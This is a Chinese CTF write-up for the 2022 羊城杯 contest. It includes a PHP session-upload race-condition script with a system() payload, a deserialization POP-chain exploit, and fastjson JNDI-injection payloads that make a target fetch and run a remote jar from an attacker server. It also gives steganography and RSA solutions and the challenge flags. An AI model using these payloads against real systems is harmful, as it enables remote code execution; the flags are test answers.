羊城杯2022 wp
rce_me
很怪,为什么是用这个$_SERVER["QUERY_STRING"来和黑盒匹配,后面想到它可以url编码绕过
尝试phpinput等等方式失败,因为allow_url_include=0
考虑sess文件包含+条件竞争参考,参考
https://blog.csdn.net/qq_43085611/article/details/119356401
写完脚本没权限读flag,suid看了下有date,马上找到date -f xxx,但是报错不会在前端回显,找了一下/tmp目录有写的权限,直接重定向写入(2代表的是错误信息)
import requests
import threading
# 攻击目标
HOST = "http://80.endpoint-24dbedf18aa74cf0b540e08822d4d8a0.dasc.buuoj.cn:81/"
headers = {
'Connection': 'close',
# 上传后的文件名为:sess + $PHPSESSID = sess_slug01sh,所以 PHPSESSID 可以自定义。
'Cookie': 'PHPSESSID=thai'
}
# success 用于设置标志,可以知道是否包含成功。
payload = """success<?php @eval(system('date -f /flag 2>/tmp/thaigod'));?>"""
# 封装成函数,方便设置多线程。
def run():
# padding为8MB,用于上传。
padding = 'a'*(80000-1)
while True:
# 后台会保存同时保存「上传的文件」和「sess」文件。后台会先删除上传的文件,当上传的文件比较大就会导致 sess 有比较长的停留时间,从而导致被包含。
# 故有以下几点关键因素:
# 1. Padding足够大
# 2. 线程数足够多。
# 3. 网速足够好。
requests.post(
url=HOST,
# 上传文件文件。
files={"file": (
"f", padding)},
# 保存 sess 文件
data={
'PHP_SESSION_UPLOAD_PROGRESS': payload
},
headers=headers
)
# 程序入口,这样写比较会比较清晰。
if __name__ == '__main__':
# 使用多线程进行文件上传
for i in range(10):
T = threading.Thread(target=run, args=())
T.start()
while True:
res = requests.get(
url=HOST,
params={
'file': '/tmp/sess%5fthai',
# 根据 payload 可以知道,上传的一句话密码为 code,通过 GET 参数传入代码即可运行。
# tac * 命令可以查看当前文件夹的所有文件(不递归)。
}
)
print(res.url)
# print(res.text)
if 'success' in res.text:
print(res.text)
break
最终flag不用包含括号提交
step_by_step
有个hint,先看看
链子
yang::construct->bei::call->yang::tostring->cheng::invoke->yang::hint
好像还有一种
cheng::wakeup->bei::set->->yang::tostring->cheng::invoke->yang::hint
后者可以,绕下include_once
include_once ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/hint.php
<?php
$hey_mean_then = "\.\.\/|var|www|html|conf|lmx|decode|expect|http|https|data|glob|phar|host|g$|[0-3]|[7-9]|~|\*|\?| |\_|%|\^|\"|\'|\||\`|{|}|<|>|;|\(|\)";
//dHJ5IC8xOTE5ODEwNDE1NDEx
?>
结果发现啥也没有
$ya1 = new yang();
//$ya1->y1=$ch1;
$ya1->y1='phpinfo';
$bei = new bei();
$bei->b1 = $ya1;
$ch2 = new cheng();
$ch2->c1 = $bei;
想到这里可以phpinfo,先试试
然后看到flag了,非预期啊
safe_pop
一开始觉得
B::destruct->A::get->Test::call
但是在preg_match那个地方被Ban了
于是想到
B::destruct->A::get->Fun::call
但万万没想到:然后wakeup直接用属性数量大于真实值绕过
那么poc无脑极了
class Fun
{
private $func = 'system';
public function __call($f, $p)
{
call_user_func($this->func, $f, $p);
}
public function __wakeup()
{
$this->func = '';
die("Don't serialize me");
}
}
class Test
{
public function getFlag()
{
system("cat /flag?");
}
public function __call($f, $p)
{
phpinfo(); //调用不可访问的方法时触发
}
public function __wakeup()
{
echo "serialize me?";
}
}
class A
{
public $a;
public function __get($p)
{ //用于不可访问的数据中读取
if (preg_match("/Test/", get_class($this->a))) {
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B
{
public $p;
public function __destruct()
{
$p = $this->p;
echo $this->a->$p;
}
}
$fun1 = new Fun();
$a1 = new A();
$a1->a = $fun1;
$b1 = new B();
$b1->p = 'cat /flag?';
$b1->a = $a1;
echo urlencode(serialize($b1));
生成的payload最后去掉%D7,丢上去直接出了
也不知道为什么连wakeup都不用绕了 傻逼题
签到
rot13+base32
迷失幻境
解压得到vmdk,用diskgenius打开,恢复被删除的图片,导出得到100张图片和两张可莉其中45缺少了png头,修复,用stegsolve打开它,发现跟其他图片有差异,相减得到:key:可莉前来报道随后 可爱可莉.jpg
中发现提示:猜不到,怎么想都猜不到吧。合理猜测是outguess,得到
flagoutguess -k 可莉前来报道 -r 可爱可莉.jpg flag.txt
Reading 可爱可莉.jpg....
Extracting usable bits: 89161 bits
Steg retrieve: seed: 27, len: 42
DASCTF{f473a6fd2de17a0c5794414b3905ebbe}
where is secret
维吉尼亚:gwht
Hello friends, I am the President of Ukraine Zelensky. The Russian army has just launched an attack on Ukraine, and the Kyiv airport has been controlled by the Russian army. Heard today is KFC Crazy Thursday, I need someone to bring me 29.94 finger-sucking original chicken as rations now. When I repel the Russian army, I will invite you to come to Ukraine to be the vice president.the password is GWHT@R1nd0yyds
得到压缩包密码:GWHT@R1nd0yyds
逆脚本:
from PIL import Image
def decode():
im = Image.open('out.bmp')
width = im.size[0]
text = []
for y in range(width):
for x in range(width):
rgb = im.getpixel((x, y))
i = (rgb[1] << 8) | rgb[2]
text.append(chr(i))
return text
t = decode()
with open('flag.txt', 'w', encoding='gbk') as f:
f.writelines(t)
发现开头的f,合理猜测flag隐藏在文本中,正则搜索[a-zA-Z1-9_\{\}]
h1d3_1n_th3_p1ctur3
流量分析
usb 流量是键盘流量:[+] Source : 1.15.1
[-] Unknow Data : 01:00:00:00:00:00:00:00
[-] Unknow Data : 01:00:ff:ff:00:00:00:00
[-] Unknow Data : 01:00:00:00:00:00:00:00
[*] Data Saved (./1.15.1.dat)
[+] Origin : aaaabaaabcababcbabacbababcaaaaaaaaaaaaaaaaabaabaacbabbcabbbcbbbccbcbbbdbbccdbcccdccccdcdcccecdccecdcdddccdcedcdcedcdcedddceddddcfdddcfddddeecdddeddcdecdcdecccccdccbcccabbcbaaabaaba
[+] Output : aaaabaaabcababcbabacbababcaaaaaaaaaaaaaaaaabaabaacbabbcabbbcbbbccbcbbbdbbccdbcccdccccdcdcccecdccecdcdddccdcedcdcedcdcedddceddddcfdddcfddddeecdddeddcdecdcdecccccdccbcccabbcbaaabaaba
[+] Source : 1.2.1
[*] Data Saved (./1.2.1.dat)
[+] Origin : Do<SPACE>you<SPACE>want<SPACE>to<SPACE>play<SPACE>hide<SPACE>and<SPACE>seek<SPACE>with<SPACE>my<SPACE>cat<SPACE>Ma<DEL>xa<DEL><DEL>axi?
[+] Output : Do you want to play hide and seek with my cat Maxi?
ftp中含有加密压缩包
鼠标流量结果:
htt https://github.com/ForteScarlet/CatCode发现 secret.phpTLS log 弄出来的是QQ邮箱,发现QQ邮箱frenkyxy@qq.com
可疑:username=978394012&978394012|1770258947&1770258947
上传了个pwd.jpg
发现传输的jpg
导出即是压缩包密码20079651941337428secret就是x,y,然后改脚本解密
from PIL import Image
from numpy import array, zeros, uint8
import cv2
import os
image = cv2.imread("missing_cat.png")
imagearray = array(image)
h = len(imagearray)
w = len(imagearray[0])
x, y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328, 6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
cmd = "echo '%s\n%s' > secret" % (x, y)
os.system(cmd)
x1 = round(x/y*0.001, 16)
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]
temp_image = zeros(shape=[h, w, 3], dtype=uint8)
print(len(temp_image))
print(len(temp_image[0]))
print(len(temp_image[0][1]))
for k in range(0, 1):
for i in range(0, h):
for j in range(0, w):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1*255)
r2 = int(x2*255)
r3 = int(x3*255)
for t in range(0, 3):
temp_image[i][j][t] = (((r1+r2) ^ r3)-imagearray[i][j][t]) % 256
x1 = kt[0]
x2 = kt[1]
x3 = kt[2]
encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("cat.png")
修复 MaxiCode 得到:
扫码得到扫码得到flag:ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3压缩包
import zipfile
filename = 'file.zip'
names = []
while True:
fp = zipfile.ZipFile(filename, 'r')
file = fp.filelist[0]
filename = file.filename
names.append(filename)
if 'zip' not in filename:
break
fp.extract(file)
Nothing here except an extra comment: maybe you should look outside the road.溯源发现
发现record截断溯源压缩包发现可能是离散数据,合并:
data = b''
for name in names[::-1]:
if 'zip' in name:
fp = zipfile.ZipFile(name, 'r')
file = fp.filelist[0]
data += file.comment
with open('out.zip', 'wb') as f:
f.write(data)
得到新压缩包,新压缩包中每个目录区又有注释
filename = 'out.zip'
fp = zipfile.ZipFile(filename, 'r')
data = b''
for file in fp.filelist:
data += file.extra
with open('output.zip', 'wb') as f:
f.write(data)
得到的压缩包还有注释,提取出来后最后压缩包解压得到 flagI_am_the_DEFLATE_of_my_Zipfile
EasyRsa
共模攻击用gcd求出p
from gmpy2 import invert,gcd
from Crypto.Util.number import long_to_bytes
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
e = 65537
f = open("1.txt", "r")
a = f.readlines()
a = a[::-1]
p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
for i in a:
n = int(i)
q = n//p
phi = (p-1) *(q-1)
d = invert(e,phi)
m = pow(c,d,n)
c = m
f.close()
print(long_to_bytes(m))
lrsa
二元copper
B=1023
PPQ=17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQQ=17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t=44
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
e=65537
PDQ: Integer = PPQ / PQQ
P, Q = PDQ.as_integer_ratio()
print(P.nbits(), Q.nbits())
print(P, Q)
print(Q - P)
T = (t + 58 * P) % Q
# T = (p * P + q) % Q
print(T.nbits())
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
print("LLL done")
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
K.<p, q> = Zmod(Q)[]
bound = 2 ** (B)
f = (p - 58 + bound) * P + (q + bound) - t
r = small_roots(f, (bound, bound), 2, 3)
pp, qq = r[0]
p = ((pp + bound) % Q)
q = ((qq + bound) % Q)
n = p * q
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
long_to_bytes(int(m))
simple_json
参考:
2022 羊城杯 Simple_json write up - KingBridge - 博客园 (cnblogs.com)
2022年羊城杯网络安全大赛 部分WriteUp (qq.com)
反编译源码
看到依赖
pom.xml
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
</dependencies>
fastjson版本1.2.83高于1.2.68,传统payload别想了
但是控制器的确出现了json.parse参数可控(注意到它还开启了autotype)
可能是高版本的利用
此外,service下面的JNDIService
target可控的话是存在jndi注入的
我们目前可控的还是这个json.parse,仔细看发现原来
return ((Message) JSON.parseObject(jsonStr, Message.class)).toString();
似乎只能Message.class, 而且调的toString,可以看出原来这是为了让用户写msg而设置的
public class Message {
private String msg = "Test Ok";
private Object content;
public String getMsg() {
return this.msg;
}
public Object getContent() {
return this.content;
}
public void setMsg(String msg) {
this.msg = msg;
}
public void setContent(Object content) {
this.content = content;
}
public String toString() {
return "Message{msg='" + this.msg + "'}";
}
}
但是private Object content这个地方存在利用点,
万物皆是Object。所以尝试把Message.content设置为JNDIService
现在问题来了:怎么触发getContext方法?
fastjson中,parseObject(evil)的会调用getter,setter和构造器,而parse(evil)或者parseObject(evil,Evil.class)只会调用setter和构造器。
(18条消息) 初探fastJson的AutoType_一只皮皮虾x的博客-CSDN博客_fastjson autotype
有没有办法让后两者也调用getter?
答案是有的。可以利用$ref
Fastjson parse突破特殊getter调用限制 | Str3am's Blog (jlkl.github.io)
poc大概如下
"content":{
"@type":"ycb.simple_json.service.JNDIService","target":"ldap://dnslog"
},
"msg":{"$ref":"$.content.context"}
}
打一下dns (注意这里只能ldap,不可以rmi)
可以,那JNDI注入的话,由于不知道是不是高版本,咱先试试打一下低版本的
不过原题是高版本jdk,所以学一下浅蓝大神的文章探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)
可以考虑使用SnakeYaml,Yaml反序列化:https://www.yuque.com/jinjinshigekeaigui/qskpi5/rgwdc7#wpl31
由此先创建一个Exp恶意类,用于RCE,还有META-INF/services/javax.script.ScriptEngineFactory
文件,内容为Exp
,然后编译Exp类,生成jar包,开启http.server服务
题外话:
本地搭环境复现的时候还发现了payload打过去报wanning的问题,如下
The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
经过搜索
换tomcat版本
<properties>
<java.version>1.8</java.version>
<tomcat.version>9.0.45</tomcat.version>
</properties>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.45</version>
</dependency>
思路都是拿类似这个poc打
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"rmi://82.156.2.166:1097/ExecBySnakeYaml"}, "msg":{"$ref":"$.content.context"}}
Json反序列化message类,调用了Message类里面某个成员变量Object的set方法触发jndi注入,由于高版本,vps上面选择用snakeYaml攻击
实操1:
参考:2022年羊城杯网络安全大赛 部分WriteUp (qq.com)
利用别的师傅写的工具https://github.com/huy4ng/JNDI-Injection-Bypass,
改一下这里
public ReferenceWrapper execBySnakeYaml() throws NamingException, RemoteException {
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
//String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\\"<http://82.156.2.166:8888/exp.jar\\"]]]]">;
String yaml="!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://8.129.42.140:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return new ReferenceWrapper((Reference) ref);
}
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
String ip = args[0];
System.out.println(ip);
EvilRMIServer evilRMIServer = new EvilRMIServer(new Listener(ip,8080));
System.setProperty("java.rmi.server.hostname",ip);
registry.bind("ExecBySnakeYaml",evilRMIServer.execBySnakeYaml());
registry.bind("ExecByEL",evilRMIServer.execByEL());
registry.bind("ExecByGroovy",evilRMIServer.execByGroovy());
}
}
打包放vps
snakeyaml那个也打包放vps
随后
[root@iZwz9ck0io750jjxfvvlkqZ javahack]# java -cp ./JNDI-Injection-Bypass.jar payloads.EvilRMIServer 8.129.42.140
Creating evil RMI registry on port 1099
8.129.42.140
但是没有效果捏
实操2:
这个工具蛮吊的
Bl0omZ/JNDIEXP: JDNI在java高版本的利用工具,FUZZ利用链 (github.com)
但是功能过于复杂,支持各种jndi利用以及反序列化内存马操作,我是这样用的
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.129.42.140 -l 1099 -p 1234
然后snakeyaml的poc放到yaml-payload-master 目录下(需要自己新建)
随后打这个
exp
{"content":{"@type":"com.example.demo.service.JNDIService","target":"ldap://8.129.42.140:1099/snakeyaml/http://8.129.42.140:1234/yaml-payload.jar"
},"msg":{"$ref":"$.content.context"}}